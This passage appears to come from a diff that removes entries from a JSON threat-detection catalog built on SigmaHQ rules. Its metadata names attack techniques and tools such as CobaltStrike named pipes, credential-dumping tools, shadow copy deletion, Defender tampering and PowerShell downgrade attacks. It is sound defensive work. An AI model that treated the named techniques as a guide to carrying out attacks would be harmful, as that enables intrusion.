Shelton", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "network_connection", - "logsource.product": "windows" - } - }, - { - "description": "Detects Non-Standard Tools Connecting to TCP port 3389 indicating possible lateral movement", - "uuid": "ed74fe75-7594-4b4b-ae38-e38e3fd2eb23", - "value": "Suspicious Outbound RDP Connections", - "meta": { - "refs": [ - "https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2019-0708", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connection_win_susp_rdp.yml" - ], - "tags": [ - "attack.lateral_movement", - "attack.t1021.001", - "car.2013-07-002" - ], - "creation_date": "2019/05/15", - "filename": "net_connection_win_susp_rdp.yml", - "author": "Markus Neis", - "level": "high", - "falsepositive": [ - "Other Remote Desktop RDP tools", - "Domain controller using dns.exe" - ], - "logsource.category": "network_connection", - "logsource.product": "windows" - } - }, - { - "description": "Detects the use of the Windows Update Client binary (wuauclt.exe) to proxy execute code and making a network connections.\nOne could easily make the DLL spawn a new process and inject to it to proxy the network connection and bypass this rule.\n", - "uuid": "c649a6c7-cd8c-4a78-9c04-000fc76df954", - "value": "Wuauclt Network Connection", - "meta": { - "refs": [ - "https://dtm.uk/wuauclt/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connection_win_wuauclt_network_connection.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1218" - ], - "creation_date": "2020/10/12", - "filename": "net_connection_win_wuauclt_network_connection.yml", - "author": "Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research)", - "level": "medium", - "falsepositive": [ - "Legitimate use of wuauclt.exe over the network." - ], - "logsource.category": "network_connection", - "logsource.product": "windows" - } - }, - { - "description": "Detects alternate PowerShell hosts potentially bypassing detections looking for powershell.exe", - "uuid": "58cb02d5-78ce-4692-b3e1-dce850aae41a", - "value": "Alternate PowerShell Hosts Pipe", - "meta": { - "refs": [ - "https://threathunterplaybook.com/notebooks/windows/02_execution/WIN-190815181010.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/pipe_created/pipe_created_alternate_powershell_hosts_pipe.yml" - ], - "tags": [ - "attack.execution", - "attack.t1059.001" - ], - "creation_date": "2019/09/12", - "filename": "pipe_created_alternate_powershell_hosts_pipe.yml", - "author": "Roberto Rodriguez @Cyb3rWard0g, Tim Shelton", - "level": "medium", - "falsepositive": [ - "Programs using PowerShell directly without invocation of a dedicated interpreter." - ], - "logsource.category": "pipe_created", - "logsource.product": "windows" - } - }, - { - "description": "Detects a named pipe used by Turla group samples", - "uuid": "739915e4-1e70-4778-8b8a-17db02f66db1", - "value": "Turla Group Named Pipes", - "meta": { - "refs": [ - "Internal Research", - "https://attack.mitre.org/groups/G0010/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/pipe_created/pipe_created_apt_turla_namedpipes.yml" - ], - "tags": [ - "attack.g0010", - "attack.execution", - "attack.t1106" - ], - "creation_date": "2017/11/06", - "filename": "pipe_created_apt_turla_namedpipes.yml", - "author": "Markus Neis", - "level": "critical", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "pipe_created", - "logsource.product": "windows" - } - }, - { - "description": "Detects well-known credential dumping tools execution via specific named pipes", - "uuid": "961d0ba2-3eea-4303-a930-2cf78bbfcc5e", - "value": "Cred Dump-Tools Named Pipes", - "meta": { - "refs": [ - "https://www.slideshare.net/heirhabarov/hunting-for-credentials-dumping-in-windows-environment", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/pipe_created/pipe_created_cred_dump_tools_named_pipes.yml" - ], - "tags": [ - "attack.credential_access", - "attack.t1003.001", - "attack.t1003.002", - "attack.t1003.004", - "attack.t1003.005" - ], - "creation_date": "2019/11/01", - "filename": "pipe_created_cred_dump_tools_named_pipes.yml", - "author": "Teymur Kheirkhabarov, oscd.community", - "level": "critical", - "falsepositive": [ - "Legitimate Administrator using tool for password recovery" - ], - "logsource.category": "pipe_created", - "logsource.product": "windows" - } - }, - { - "description": "Detects creation of default named pipe used by the DiagTrackEoP POC", - "uuid": "1f7025a6-e747-4130-aac4-961eb47015f1", - "value": "DiagTrackEoP Default Named Pipe", - "meta": { - "refs": [ - "https://github.com/Wh04m1001/DiagTrackEoP/blob/3a2fc99c9700623eb7dc7d4b5f314fd9ce5ef51f/main.cpp#L22", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/pipe_created/pipe_created_diagtrack_eop_default_pipe.yml" - ], - "tags": [ - "attack.privilege_escalation" - ], - "creation_date": "2022/08/03", - "filename": "pipe_created_diagtrack_eop_default_pipe.yml", - "author": "Nasreddine Bencherchali", - "level": "critical", - "falsepositive": [ - "Unlikely" - ], - "logsource.category": "pipe_created", - "logsource.product": "windows" - } - }, - { - "description": "Detects the pattern of a pipe name as used by the tool EfsPotato", - "uuid": "637f689e-b4a5-4a86-be0e-0100a0a33ba2", - "value": "EfsPotato Named Pipe", - "meta": { - "refs": [ - "https://twitter.com/SBousseaden/status/1429530155291193354?s=20", - "https://github.com/zcgonvh/EfsPotato", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/pipe_created/pipe_created_efspotato_namedpipe.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.privilege_escalation", - "attack.t1055" - ], - "creation_date": "2021/08/23", - "filename": "pipe_created_efspotato_namedpipe.yml", - "author": "Florian Roth", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "pipe_created", - "logsource.product": "windows" - } - }, - { - "description": "Detects creation of default named pipes used by the Koh tool", - "uuid": "0adc67e0-a68f-4ffd-9c43-28905aad5d6a", - "value": "Koh Default Named Pipes", - "meta": { - "refs": [ - "https://github.com/GhostPack/Koh/blob/0283d9f3f91cf74732ad377821986cfcb088e20a/Clients/BOF/KohClient.c#L12", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/pipe_created/pipe_created_koh_default_pipe.yml" - ], - "tags": [ - "attack.privilege_escalation", - "attack.credential_access", - "attack.t1528", - "attack.t1134.001" - ], - "creation_date": "2022/07/08", - "filename": "pipe_created_koh_default_pipe.yml", - "author": "Nasreddine Bencherchali", - "level": "critical", - "falsepositive": [ - "Unlikely" - ], - "logsource.category": "pipe_created", - "logsource.product": "windows" - } - }, - { - "description": "Detects the creation of a named pipe as used by CobaltStrike", - "uuid": "d5601f8c-b26f-4ab0-9035-69e11a8d4ad2", - "value": "CobaltStrike Named Pipe", - "meta": { - "refs": [ - "https://twitter.com/d4rksystem/status/1357010969264873472", - "https://labs.f-secure.com/blog/detecting-cobalt-strike-default-modules-via-named-pipe-analysis/", - "https://github.com/Neo23x0/sigma/issues/253", - "https://blog.cobaltstrike.com/2021/02/09/learn-pipe-fitting-for-all-of-your-offense-projects/", - "https://redcanary.com/threat-detection-report/threats/cobalt-strike/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/pipe_created/pipe_created_mal_cobaltstrike.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.privilege_escalation", - "attack.t1055" - ], - "creation_date": "2021/05/25", - "filename": "pipe_created_mal_cobaltstrike.yml", - "author": "Florian Roth, Wojciech Lesicki", - "level": "critical", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "pipe_created", - "logsource.product": "windows" - } - }, - { - "description": "Detects the creation of a named pipe matching a pattern used by CobaltStrike Malleable C2 profiles", - "uuid": "0e7163d4-9e19-4fa7-9be6-000c61aad77a", - "value": "CobaltStrike Named Pipe Pattern Regex", - "meta": { - "refs": [ - "https://svch0st.medium.com/guide-to-named-pipes-and-hunting-for-cobalt-strike-pipes-dc46b2c5f575", - "https://gist.github.com/MHaggis/6c600e524045a6d49c35291a21e10752", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/pipe_created/pipe_created_mal_cobaltstrike_re.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.privilege_escalation", - "attack.t1055" - ], - "creation_date": "2021/07/30", - "filename": "pipe_created_mal_cobaltstrike_re.yml", - "author": "Florian Roth", - "level": "critical", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "pipe_created", - "logsource.product": "windows" - } - }, - { - "description": "Detects the creation of a named pipe used by known APT malware", - "uuid": "fe3ac066-98bb-432a-b1e7-a5229cb39d4a", - "value": "Malicious Named Pipe", - "meta": { - "refs": [ - "https://securelist.com/wild-neutron-economic-espionage-threat-actor-returns-with-new-tricks/71275/", - "https://securelist.com/faq-the-projectsauron-apt/75533/", - "https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-annex-b-final.pdf", - "https://www.us-cert.gov/ncas/alerts/TA17-117A", - "https://www.fireeye.com/blog/threat-research/2020/12/evasive-attacker-leverages-solarwinds-supply-chain-compromises-with-sunburst-backdoor.html", - "https://thedfirreport.com/2020/06/21/snatch-ransomware/", - "https://github.com/RiccardoAncarani/LiquidSnake", - "https://www.accenture.com/us-en/blogs/cyber-defense/turla-belugasturgeon-compromises-government-entity", - "https://us-cert.cisa.gov/ncas/analysis-reports/ar19-304a", - "https://download.bitdefender.com/resources/files/News/CaseStudies/study/115/Bitdefender-Whitepaper-PAC-A4-en-EN1.pdf", - "https://unit42.paloaltonetworks.com/emissary-panda-attacks-middle-east-government-sharepoint-servers/", - "https://thedfirreport.com/2022/02/21/qbot-and-zerologon-lead-to-full-domain-compromise/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/pipe_created/pipe_created_mal_namedpipes.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.privilege_escalation", - "attack.t1055" - ], - "creation_date": "2017/11/06", - "filename": "pipe_created_mal_namedpipes.yml", - "author": "Florian Roth, blueteam0ps, elhoim", - "level": "critical", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "pipe_created", - "logsource.product": "windows" - } - }, - { - "description": "Detects PAExec default named pipe", - "uuid": "f6451de4-df0a-41fa-8d72-b39f54a08db5", - "value": "PAExec Default Named Pipe", - "meta": { - "refs": [ - "https://github.com/microsoft/Microsoft-365-Defender-Hunting-Queries/blob/efa17a600b43c897b4b7463cc8541daa1987eeb4/Command%20and%20Control/C2-NamedPipe.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/pipe_created/pipe_created_paexec_default_pipe.yml" - ], - "tags": [ - "attack.execution", - "attack.t1569.002" - ], - "creation_date": "2022/10/26", - "filename": "pipe_created_paexec_default_pipe.yml", - "author": "Nasreddine Bencherchali", - "level": "medium", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "pipe_created", - "logsource.product": "windows" - } - }, - { - "description": "Detects execution of PowerShell via creation of named pipe starting with PSHost", - "uuid": "ac7102b4-9e1e-4802-9b4f-17c5524c015c", - "value": "PowerShell Execution Via Named Pipe", - "meta": { - "refs": [ - "https://threathunterplaybook.com/notebooks/windows/02_execution/WIN-190410151110.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/pipe_created/pipe_created_powershell_execution_pipe.yml" - ], - "tags": [ - "attack.execution", - "attack.t1059.001" - ], - "creation_date": "2019/09/12", - "filename": "pipe_created_powershell_execution_pipe.yml", - "author": "Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research)", - "level": "informational", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "pipe_created", - "logsource.product": "windows" - } - }, - { - "description": "Detects PsExec service installation and execution events (service and Sysmon)", - "uuid": "f3f3a972-f982-40ad-b63c-bca6afdfad7c", - "value": "PsExec Default Named Pipe", - "meta": { - "refs": [ - "https://www.jpcert.or.jp/english/pub/sr/ir_research.html", - "https://jpcertcc.github.io/ToolAnalysisResultSheet", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/pipe_created/pipe_created_psexec_default_pipe.yml" - ], - "tags": [ - "attack.execution", - "attack.t1569.002", - "attack.s0029" - ], - "creation_date": "2017/06/12", - "filename": "pipe_created_psexec_default_pipe.yml", - "author": "Thomas Patzke", - "level": "low", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "pipe_created", - "logsource.product": "windows" - } - }, - { - "description": "Detects PsExec default pipe creation where the image executed is located in a suspicious location. Which could indicate that the tool is being used in an attack", - "uuid": "41504465-5e3a-4a5b-a5b4-2a0baadd4463", - "value": "PsExec Tool Execution From Suspicious Locations - PipeName", - "meta": { - "refs": [ - "https://www.jpcert.or.jp/english/pub/sr/ir_research.html", - "https://jpcertcc.github.io/ToolAnalysisResultSheet", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/pipe_created/pipe_created_psexec_default_pipe_from_susp_location.yml" - ], - "tags": [ - "attack.execution", - "attack.t1569.002", - "attack.s0029" - ], - "creation_date": "2022/08/04", - "filename": "pipe_created_psexec_default_pipe_from_susp_location.yml", - "author": "Nasreddine Bencherchali", - "level": "high", - "falsepositive": [ - "Rare legitimate use of psexec from the locations mentioned above" - ], - "logsource.category": "pipe_created", - "logsource.product": "windows" - } - }, - { - "description": "Detecting use PsExec via Pipe Creation/Access to pipes", - "uuid": "9e77ed63-2ecf-4c7b-b09d-640834882028", - "value": "PsExec Pipes Artifacts", - "meta": { - "refs": [ - "https://drive.google.com/file/d/1lKya3_mLnR3UQuCoiYruO3qgu052_iS_/view", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/pipe_created/pipe_created_psexec_pipes_artifacts.yml" - ], - "tags": [ - "attack.lateral_movement", - "attack.t1021.002", - "attack.execution", - "attack.t1569.002" - ], - "creation_date": "2020/05/10", - "filename": "pipe_created_psexec_pipes_artifacts.yml", - "author": "Nikita Nazarov, oscd.community", - "level": "medium", - "falsepositive": [ - "Legitimate Administrator activity" - ], - "logsource.category": "pipe_created", - "logsource.product": "windows" - } - }, - { - "description": "Detects suspicious local connections via a named pipe to the AD FS configuration database (Windows Internal Database).\nUsed to access information such as the AD FS configuration settings which contains sensitive information used to sign SAML tokens.\n", - "uuid": "1ea13e8c-03ea-409b-877d-ce5c3d2c1cb3", - "value": "ADFS Database Named Pipe Connection", - "meta": { - "refs": [ - "https://github.com/Azure/Azure-Sentinel/blob/f99542b94afe0ad2f19a82cc08262e7ac8e1428e/Detections/SecurityEvent/ADFSDBNamedPipeConnection.yaml", - "https://o365blog.com/post/adfs/", - "https://github.com/Azure/SimuLand", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/pipe_created/pipe_created_susp_adfs_namedpipe_connection.yml" - ], - "tags": [ - "attack.collection", - "attack.t1005" - ], - "creation_date": "2021/10/08", - "filename": "pipe_created_susp_adfs_namedpipe_connection.yml", - "author": "Roberto Rodriguez @Cyb3rWard0g", - "level": "high", - "falsepositive": [ - "Processes in the filter condition" - ], - "logsource.category": "pipe_created", - "logsource.product": "windows" - } - }, - { - "description": "Detects the creation of a named pipe with a pattern found in CobaltStrike malleable C2 profiles", - "uuid": "85adeb13-4fc9-4e68-8a4a-c7cb2c336eb7", - "value": "CobaltStrike Named Pipe Patterns", - "meta": { - "refs": [ - "https://svch0st.medium.com/guide-to-named-pipes-and-hunting-for-cobalt-strike-pipes-dc46b2c5f575", - "https://gist.github.com/MHaggis/6c600e524045a6d49c35291a21e10752", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/pipe_created/pipe_created_susp_cobaltstrike_pipe_patterns.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.privilege_escalation", - "attack.t1055" - ], - "creation_date": "2021/07/30", - "filename": "pipe_created_susp_cobaltstrike_pipe_patterns.yml", - "author": "Florian Roth, Christian Burkard", - "level": "high", - "falsepositive": [ - "Chrome instances using the exact same pipe name \"mojo.something\"" - ], - "logsource.category": "pipe_created", - "logsource.product": "windows" - } - }, - { - "description": "Detects the WMI Event Consumer service scrcons.exe creating a named pipe", - "uuid": "493fb4ab-cdcc-4c4f-818c-0e363bd1e4bb", - "value": "WMI Event Consumer Created Named Pipe", - "meta": { - "refs": [ - "https://github.com/RiccardoAncarani/LiquidSnake", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/pipe_created/pipe_created_susp_wmi_consumer_namedpipe.yml" - ], - "tags": [ - "attack.t1047", - "attack.execution" - ], - "creation_date": "2021/09/01", - "filename": "pipe_created_susp_wmi_consumer_namedpipe.yml", - "author": "Florian Roth", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "pipe_created", - "logsource.product": "windows" - } - }, - { - "description": "Detects alternate PowerShell hosts potentially bypassing detections looking for powershell.exe", - "uuid": "d7326048-328b-4d5e-98af-86e84b17c765", - "value": "Alternate PowerShell Hosts", - "meta": { - "refs": [ - "https://threathunterplaybook.com/notebooks/windows/02_execution/WIN-190815181010.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_classic/posh_pc_alternate_powershell_hosts.yml" - ], - "tags": [ - "attack.execution", - "attack.t1059.001" - ], - "creation_date": "2019/08/11", - "filename": "posh_pc_alternate_powershell_hosts.yml", - "author": "Roberto Rodriguez @Cyb3rWard0g", - "level": "medium", - "falsepositive": [ - "Programs using PowerShell directly without invocation of a dedicated interpreter", - "MSP Detection Searcher", - "Citrix ConfigSync.ps1" - ], - "logsource.category": "ps_classic_start", - "logsource.product": "windows" - } - }, - { - "description": "Shadow Copies deletion using operating systems utilities via PowerShell", - "uuid": "87df9ee1-5416-453a-8a08-e8d4a51e9ce1", - "value": "Delete Volume Shadow Copies Via WMI With PowerShell", - "meta": { - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1490/T1490.md", - "https://www.fortinet.com/blog/threat-research/stomping-shadow-copies-a-second-look-into-deletion-methods", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_classic/posh_pc_delete_volume_shadow_copies.yml" - ], - "tags": [ - "attack.impact", - "attack.t1490" - ], - "creation_date": "2021/06/03", - "filename": "posh_pc_delete_volume_shadow_copies.yml", - "author": "frack113", - "level": "high", - "falsepositive": [ - "Legitimate Administrator deletes Shadow Copies using operating systems utilities for legitimate reason" - ], - "logsource.category": "ps_classic_start", - "logsource.product": "windows" - } - }, - { - "description": "Detects PowerShell downgrade attack by comparing the host versions with the actually used engine version 2.0", - "uuid": "6331d09b-4785-4c13-980f-f96661356249", - "value": "PowerShell Downgrade Attack", - "meta": { - "refs": [ - "http://www.leeholmes.com/blog/2017/03/17/detecting-and-preventing-powershell-downgrade-attacks/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_classic/posh_pc_downgrade_attack.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.execution", - "attack.t1059.001" - ], - "creation_date": "2017/03/22", - "filename": "posh_pc_downgrade_attack.yml", - "author": "Florian Roth (rule), Lee Holmes (idea), Harish Segar (improvements)", - "level": "medium", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "ps_classic_start", - "logsource.product": "windows" - } - }, - { - "description": "Detects PowerShell called from an executable by the version mismatch method", - "uuid": "c70e019b-1479-4b65-b0cc-cd0c6093a599", - "value": "PowerShell Called from an Executable Version Mismatch", - "meta": { - "refs": [ - "https://adsecurity.org/?p=2921", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_classic/posh_pc_exe_calling_ps.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.execution", - "attack.t1059.001" - ], - "creation_date": "2017/03/05", - "filename": "posh_pc_exe_calling_ps.yml", - "author": "Sean Metcalf (source), Florian Roth (rule)", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "ps_classic_start", - "logsource.product": "windows" - } - }, - { - "description": "Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network", - "uuid": "c5b20776-639a-49bf-94c7-84f912b91c15", - "value": "Netcat The Powershell Version", - "meta": { - "refs": [ - "https://nmap.org/ncat/", - "https://github.com/besimorhino/powercat", - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1095/T1095.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_classic/posh_pc_powercat.yml" - ], - "tags": [ - "attack.command_and_control", - "attack.t1095" - ], - "creation_date": "2021/07/21", - "filename": "posh_pc_powercat.yml", - "author": "frack113", - "level": "medium", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "ps_classic_start", - "logsource.product": "windows" - } - }, - { - "description": "Detects remote PowerShell sessions", - "uuid": "60167e5c-84b2-4c95-a7ac-86281f27c445", - "value": "Remote PowerShell Session (PS Classic)", - "meta": { - "refs": [ - "https://threathunterplaybook.com/notebooks/windows/02_execution/WIN-190511223310.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_classic/posh_pc_remote_powershell_session.yml" - ], - "tags": [ - "attack.execution", - "attack.t1059.001", - "attack.lateral_movement", - "attack.t1021.006" - ], - "creation_date": "2019/08/10", - "filename": "posh_pc_remote_powershell_session.yml", - "author": "Roberto Rodriguez @Cyb3rWard0g", - "level": "high", - "falsepositive": [ - "Legitimate use remote PowerShell sessions" - ], - "logsource.category": "ps_classic_start", - "logsource.product": "windows" - } - }, - { - "description": "Detects renamed powershell", - "uuid": "30a8cb77-8eb3-4cfb-8e79-ad457c5a4592", - "value": "Renamed Powershell Under Powershell Channel", - "meta": { - "refs": [ - "https://speakerdeck.com/heirhabarov/hunting-for-powershell-abuse", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_classic/posh_pc_renamed_powershell.yml" - ], - "tags": [ - "attack.execution", - "attack.t1059.001" - ], - "creation_date": "2020/06/29", - "filename": "posh_pc_renamed_powershell.yml", - "author": "Harish Segar, frack113", - "level": "low", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "ps_classic_start", - "logsource.product": "windows" - } - }, - { - "description": "RemoteFXvGPUDisablement.exe is an abusable, signed PowerShell host executable that was introduced in Windows 10 and Server 2019 (OS Build 17763.1339).", - "uuid": "f65e22f9-819e-4f96-9c7b-498364ae7a25", - "value": "Abusable Invoke-ATHRemoteFXvGPUDisablementCommand", - "meta": { - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1218/T1218.md", - "https://github.com/redcanaryco/AtomicTestHarnesses/blob/7e1e4da116801e3d6fcc6bedb207064577e40572/TestHarnesses/T1218_SignedBinaryProxyExecution/InvokeRemoteFXvGPUDisablementCommand.ps1", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_classic/posh_pc_susp_athremotefxvgpudisablementcommand.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1218" - ], - "creation_date": "2021/07/13", - "filename": "posh_pc_susp_athremotefxvgpudisablementcommand.yml", - "author": "frack113", - "level": "medium", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "No established category", - "logsource.product": "windows" - } - }, - { - "description": "Detects suspicious PowerShell download command", - "uuid": "3236fcd0-b7e3-4433-b4f8-86ad61a9af2d", - "value": "Suspicious PowerShell Download", - "meta": { - "refs": [ - "https://www.trendmicro.com/en_us/research/22/j/lv-ransomware-exploits-proxyshell-in-attack.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_classic/posh_pc_susp_download.yml" - ], - "tags": [ - "attack.execution", - "attack.t1059.001" - ], - "creation_date": "2017/03/05", - "filename": "posh_pc_susp_download.yml", - "author": "Florian Roth", - "level": "medium", - "falsepositive": [ - "PowerShell scripts that download content from the Internet" - ], - "logsource.category": "ps_classic_start", - "logsource.product": "windows" - } - }, - { - "description": "Adversaries may attempt to get a listing of network connections to or from the compromised system they are currently accessing or from remote systems by querying for information over the network.", - "uuid": "b366adb4-d63d-422d-8a2c-186463b5ded0", - "value": "Use Get-NetTCPConnection", - "meta": { - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1049/T1049.md#atomic-test-2---system-network-connections-discovery-with-powershell", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_classic/posh_pc_susp_get_nettcpconnection.yml" - ], - "tags": [ - "attack.discovery", - "attack.t1049" - ], - "creation_date": "2021/12/10", - "filename": "posh_pc_susp_get_nettcpconnection.yml", - "author": "frack113", - "level": "low", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "ps_classic_start", - "logsource.product": "windows" - } - }, - { - "description": "Use living off the land tools to zip a file and stage it in the Windows temporary folder for later exfiltration", - "uuid": "71ff406e-b633-4989-96ec-bc49d825a412", - "value": "Zip A Folder With PowerShell For Staging In Temp", - "meta": { - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1074.001/T1074.001.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_classic/posh_pc_susp_zip_compress.yml" - ], - "tags": [ - "attack.collection", - "attack.t1074.001" - ], - "creation_date": "2021/07/20", - "filename": "posh_pc_susp_zip_compress.yml", - "author": "frack113", - "level": "medium", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "No established category", - "logsource.product": "windows" - } - }, - { - "description": "Attempting to disable scheduled scanning and other parts of windows defender atp. Or set default actions to allow.", - "uuid": "ec19ebab-72dc-40e1-9728-4c0b805d722c", - "value": "Tamper Windows Defender - PSClassic", - "meta": { - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1562.001/T1562.001.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_classic/posh_pc_tamper_with_windows_defender.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1562.001" - ], - "creation_date": "2021/06/07", - "filename": "posh_pc_tamper_with_windows_defender.yml", - "author": "frack113", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "ps_classic_provider_start", - "logsource.product": "windows" - } - }, - { - "description": "Detects suspicious use of the WSMAN provider without PowerShell.exe as the host application.", - "uuid": "df9a0e0e-fedb-4d6c-8668-d765dfc92aa7", - "value": "Suspicious Non PowerShell WSMAN COM Provider", - "meta": { - "refs": [ - "https://twitter.com/chadtilbury/status/1275851297770610688", - "https://bohops.com/2020/05/12/ws-management-com-another-approach-for-winrm-lateral-movement/", - "https://github.com/bohops/WSMan-WinRM", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_classic/posh_pc_wsman_com_provider_no_powershell.yml" - ], - "tags": [ - "attack.execution", - "attack.t1059.001", - "attack.lateral_movement", - "attack.t1021.003" - ], - "creation_date": "2020/06/24", - "filename": "posh_pc_wsman_com_provider_no_powershell.yml", - "author": "Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research)", - "level": "medium", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "No established category", - "logsource.product": "windows" - } - }, - { - "description": "Detects suspicious powershell process which includes bxor command, alternative obfuscation method to b64 encoded commands.", - "uuid": "812837bb-b17f-45e9-8bd0-0ec35d2e3bd6", - "value": "Suspicious XOR Encoded PowerShell Command Line", - "meta": { - "refs": [ - "https://speakerdeck.com/heirhabarov/hunting-for-powershell-abuse?slide=46", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_classic/posh_pc_xor_commandline.yml" - ], - "tags": [ - "attack.execution", - "attack.t1059.001" - ], - "creation_date": "2020/06/29", - "filename": "posh_pc_xor_commandline.yml", - "author": "Teymur Kheirkhabarov, Harish Segar (rule)", - "level": "medium", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "ps_classic_start", - "logsource.product": "windows" - } - }, - { - "description": "Detects alternate PowerShell hosts potentially bypassing detections looking for powershell.exe", - "uuid": "64e8e417-c19a-475a-8d19-98ea705394cc", - "value": "Alternate PowerShell Hosts", - "meta": { - "refs": [ - "https://threathunterplaybook.com/hunts/windows/190610-PwshAlternateHosts/notebook.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_module/posh_pm_alternate_powershell_hosts.yml" - ], - "tags": [ - "attack.execution", - "attack.t1059.001" - ], - "creation_date": "2019/08/11", - "filename": "posh_pm_alternate_powershell_hosts.yml", - "author": "Roberto Rodriguez @Cyb3rWard0g", - "level": "medium", - "falsepositive": [ - "Programs using PowerShell directly without invocation of a dedicated interpreter", - "MSP Detection Searcher", - "Citrix ConfigSync.ps1" - ], - "logsource.category": "ps_module", - "logsource.product": "windows" - } - }, - { - "description": "focuses on trivial artifacts observed in variants of prevalent offensive ps1 payloads, including\nCobalt Strike Beacon, PoshC2, Powerview, Letmein, Empire, Powersploit, and other attack payloads \nthat often undergo minimal changes by attackers due to bad opsec.\n", - "uuid": "8d31a8ce-46b5-4dd6-bdc3-680931f1db86", - "value": "Bad Opsec Powershell Code Artifacts", - "meta": { - "refs": [ - "https://newtonpaul.com/analysing-fileless-malware-cobalt-strike-beacon/", - "https://labs.sentinelone.com/top-tier-russian-organized-cybercrime-group-unveils-fileless-stealthy-powertrick-backdoor-for-high-value-targets/", - "https://www.mdeditor.tw/pl/pgRt", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_module/posh_pm_bad_opsec_artifacts.yml" - ], - "tags": [ - "attack.execution", - "attack.t1059.001" - ], - "creation_date": "2020/10/09", - "filename": "posh_pm_bad_opsec_artifacts.yml", - "author": "ok @securonix invrep_de, oscd.community", - "level": "critical", - "falsepositive": [ - "Moderate-to-low; Despite the shorter length/lower entropy for some of these, because of high specificity, fp appears to be fairly limited in many environments." - ], - "logsource.category": "ps_module", - "logsource.product": "windows" - } - }, - { - "description": "Detects keywords that could indicate clearing PowerShell history", - "uuid": "f99276ad-d122-4989-a09a-d00904a5f9d2", - "value": "Clear PowerShell History", - "meta": { - "refs": [ - 